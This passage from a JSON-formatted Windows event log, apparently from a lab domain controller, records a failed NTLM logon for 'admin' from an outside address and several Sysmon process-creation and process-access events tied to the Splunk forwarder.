(network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"59831","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2029,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.096\r\nProcessGuid: {90617006-3FE9-5F2D-0000-0010104E0300}\r\nProcessId: 3864\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /c \"\"C:\\Program Files\\SplunkUniversalForwarder\\etc\\system\\bin\\WinNetMon.cmd\" --scheme\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nParentProcessId: 2820\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.096","ProcessGuid":"{90617006-3FE9-5F2D-0000-0010104E0300}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /c \"\"C:\\Program Files\\SplunkUniversalForwarder\\etc\\system\\bin\\WinNetMon.cmd\" --scheme\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","ParentProcessId":"2820","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2030,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.094\r\nSourceProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nSourceProcessId: 2820\r\nSourceThreadId: 3752\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-3FE9-5F2D-0000-0010104E0300}\r\nTargetProcessId: 3864\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7d35e7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7cdcb9|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca4ec|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca0a3|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7c9f0d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6d7908|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6de2ee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b29fa|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b4274|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e42dc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ec682|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.094","SourceProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","SourceProcessId":"2820","SourceThreadId":"3752","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-3FE9-5F2D-0000-0010104E0300}","TargetProcessId":"3864","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7d35e7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7cdcb9|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca4ec|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca0a3|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7c9f0d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6d7908|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6de2ee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b29fa|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b4274|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e42dc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ec682|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2031,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.094\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE9-5F2D-0000-0010104E0300}\r\nTargetProcessId: 3864\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.094","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE9-5F2D-0000-0010104E0300}","TargetProcessId":"3864","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2032,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.094\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.094","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2033,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.094\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.094","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2034,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.094\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.094","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2035,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.094\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.094","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2036,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.094\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.094","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 